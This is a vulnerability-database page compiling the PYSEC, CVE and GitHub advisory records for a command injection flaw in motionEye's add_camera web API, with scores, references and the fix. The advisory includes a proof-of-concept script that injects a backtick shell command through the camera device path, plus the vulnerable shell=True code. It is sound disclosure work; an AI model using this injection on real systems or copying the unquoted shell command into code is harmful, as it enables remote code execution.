Vulnerability-Lookup

PYSEC-2025-39

Vulnerability from pysec - Published: 2025-05-14 16:15 - Updated: 2025-05-14 17:22

Details

motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, motion by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually.

Impacted products

Name	purl
motioneye	pkg:pypi/motioneye

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye",
        "purl": "pkg:pypi/motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.43.1b1"
            },
            {
              "fixed": "0.43.1b4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.43.1b1",
        "0.43.1b2",
        "0.43.1b3"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47782",
    "GHSA-g5mq-prx7-c588"
  ],
  "details": "motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the `add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, `motion` by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually.",
  "id": "PYSEC-2025-39",
  "modified": "2025-05-14T17:22:51.050788+00:00",
  "published": "2025-05-14T16:15:29+00:00",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/motioneye-project/motioneye/issues/3142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/pull/3143"
    }
  ]
}

CVE-2025-47782 (GCVE-0-2025-47782)

Vulnerability from cvelistv5 – Published: 2025-05-14 15:54 – Updated: 2025-05-14 17:36

Title

motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution

Summary

motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the `add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, `motion` by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually.

Severity

8.9 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-05-14 17:36 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/motioneye-project/motioneye/se…	x_refsource_CONFIRM
https://github.com/motioneye-project/motioneye/is…	x_refsource_MISC
https://github.com/motioneye-project/motioneye/pu…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
motioneye-project	motioneye	Affected: >= 0.43.1b1, < 0.43.1b4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-47782",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-14T17:36:29.166679Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-14T17:36:32.512Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "motioneye",
          "vendor": "motioneye-project",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.43.1b1, \u003c 0.43.1b4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the `add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, `motion` by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.9,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-05-14T15:54:59.309Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
        },
        {
          "name": "https://github.com/motioneye-project/motioneye/issues/3142",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/motioneye-project/motioneye/issues/3142"
        },
        {
          "name": "https://github.com/motioneye-project/motioneye/pull/3143",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/motioneye-project/motioneye/pull/3143"
        }
      ],
      "source": {
        "advisory": "GHSA-g5mq-prx7-c588",
        "discovery": "UNKNOWN"
      },
      "title": "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-47782",
    "datePublished": "2025-05-14T15:54:59.309Z",
    "dateReserved": "2025-05-09T19:49:35.620Z",
    "dateUpdated": "2025-05-14T17:36:32.512Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-G5MQ-PRX7-C588

Vulnerability from github – Published: 2025-05-15 16:10 – Updated: 2025-05-15 16:10

Summary

motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution

Details

Summary

Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

function call stack

post
add_camera
config.add_camera
v4l2ctl.list_resolutions
utils.call_subprocess
subprocess.run

PoC

build

RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"

docker build \
  --network host \
  --build-arg="RUN_UID=${RUN_UID?}" \
  --build-arg="RUN_GID=${RUN_GID?}" \
  -t "${USER?}/motioneye:${TIMESTAMP}" \
  --no-cache \
  -f docker/Dockerfile .

reproduce

Run:

docker run --rm  -d   -p 8765:8765   --hostname="motioneye"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye

bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None
    INFO: hello! this is motionEye server 0.43.1b3
   DEBUG: found motion executable "/usr/bin/motion" version "4.7.0"
   DEBUG: found ffmpeg executable "/usr/bin/ffmpeg" version "7.1.1-1+b1"
   DEBUG: listing config dir /etc/motioneye...
   DEBUG: found camera with id 1
   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...
   DEBUG: loading additional config structure for camera, without separators
   DEBUG: Using selector: EpollSelector
   DEBUG: searching motion executable
   DEBUG: starting motion executable "/usr/bin/motion" version "4.7.0"
    INFO: cleanup started
    INFO: wsswitch started
    INFO: tasks started
    INFO: mjpg customer garbage collector has started
    INFO: server started

Now, run the following script to attack motionEye:

import requests
import json

url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"

payload = json.dumps({
  "proto": "v4l2",
  "path": "' `touch /tmp/bbbb` '"
})
headers = {
  'Content-Type': 'application/json'
}

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

Discussion

It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability

def list_resolutions(device):
    from motioneye import motionctl

    device = utils.make_str(device)

    if device in _resolutions_cache:
        return _resolutions_cache[device]

    logging.debug(f'listing resolutions of device {device}...')

    resolutions = set()
    output = b''
    started = time.time()
    cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
    logging.debug(f'running command "{cmd}"')

    try:
        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
    except:
        logging.error(f'failed to list resolutions of device "{device}"')

    output = utils.make_str(output)

def call_subprocess(
    args,
    stdin=None,
    input=None,
    stdout=subprocess.PIPE,
    stderr=DEV_NULL,
    capture_output=False,
    shell=False,
    cwd=None,
    timeout=None,
    check=True,
    encoding='utf-8',
    errors=None,
    text=None,
    env=None,
) -> str:
    """subprocess.run wrapper to return output as a decoded string"""
    return subprocess.run(
        args,
        stdin=stdin,
        input=input,
        stdout=stdout,
        stderr=stderr,
        capture_output=capture_output,
        shell=shell,
        cwd=cwd,
        timeout=timeout,
        check=check,
        encoding=encoding,
        errors=errors,
        text=text,
        env=env,
    ).stdout.strip()

Impact

RCE

Patches

The vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143

Workarounds

Applying the following patch, replacing the literal single quotes in the created cmd string with a shlex.quoted input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch

References

https://github.com/motioneye-project/motioneye/issues/3142

Credit

The vulnerability was discovered by Tencent YunDing Security Lab.

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "motioneye"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.43.1b1"
            },
            {
              "fixed": "0.43.1b4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T16:10:48Z",
    "nvd_published_at": "2025-05-14T16:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date \u0027+%Y%m%d-%H%M\u0027)\"\n\ndocker build \\\n  --network host \\\n  --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n  --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n  -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n  --no-cache \\\n  -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm  -d   -p 8765:8765   --hostname=\"motioneye\"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n    INFO: hello! this is motionEye server 0.43.1b3\n   DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n   DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n   DEBUG: listing config dir /etc/motioneye...\n   DEBUG: found camera with id 1\n   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n   DEBUG: loading additional config structure for camera, without separators\n   DEBUG: Using selector: EpollSelector\n   DEBUG: searching motion executable\n   DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n    INFO: cleanup started\n    INFO: wsswitch started\n    INFO: tasks started\n    INFO: mjpg customer garbage collector has started\n    INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin\u0026_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n  \"proto\": \"v4l2\",\n  \"path\": \"\u0027 `touch /tmp/bbbb` \u0027\"\n})\nheaders = {\n  \u0027Content-Type\u0027: \u0027application/json\u0027\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n\u003cimg width=\"1187\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62\" /\u003e\n\n\u003cimg width=\"324\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e\" /\u003e\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n    from motioneye import motionctl\n\n    device = utils.make_str(device)\n\n    if device in _resolutions_cache:\n        return _resolutions_cache[device]\n\n    logging.debug(f\u0027listing resolutions of device {device}...\u0027)\n\n    resolutions = set()\n    output = b\u0027\u0027\n    started = time.time()\n    cmd = f\"v4l2-ctl -d \u0027{device}\u0027 --list-formats-ext | grep -vi stepwise | grep -oE \u0027[0-9]+x[0-9]+\u0027 || true\"\n    logging.debug(f\u0027running command \"{cmd}\"\u0027)\n\n    try:\n        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n    except:\n        logging.error(f\u0027failed to list resolutions of device \"{device}\"\u0027)\n\n    output = utils.make_str(output)\n\ndef call_subprocess(\n    args,\n    stdin=None,\n    input=None,\n    stdout=subprocess.PIPE,\n    stderr=DEV_NULL,\n    capture_output=False,\n    shell=False,\n    cwd=None,\n    timeout=None,\n    check=True,\n    encoding=\u0027utf-8\u0027,\n    errors=None,\n    text=None,\n    env=None,\n) -\u003e str:\n    \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n    return subprocess.run(\n        args,\n        stdin=stdin,\n        input=input,\n        stdout=stdout,\n        stderr=stderr,\n        capture_output=capture_output,\n        shell=shell,\n        cwd=cwd,\n        timeout=timeout,\n        check=check,\n        encoding=encoding,\n        errors=errors,\n        text=text,\n        env=env,\n    ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.",
  "id": "GHSA-g5mq-prx7-c588",
  "modified": "2025-05-15T16:10:48Z",
  "published": "2025-05-15T16:10:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/issues/3142"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motioneye-project/motioneye/pull/3143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/motioneye-project/motioneye"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2025-39

CVE-2025-47782 (GCVE-0-2025-47782)

GHSA-G5MQ-PRX7-C588

Summary

function call stack

PoC

build

reproduce

Discussion

Impact

Patches

Workarounds

References

Credit

Tags

Sightings

Nomenclature

Related by attack behaviour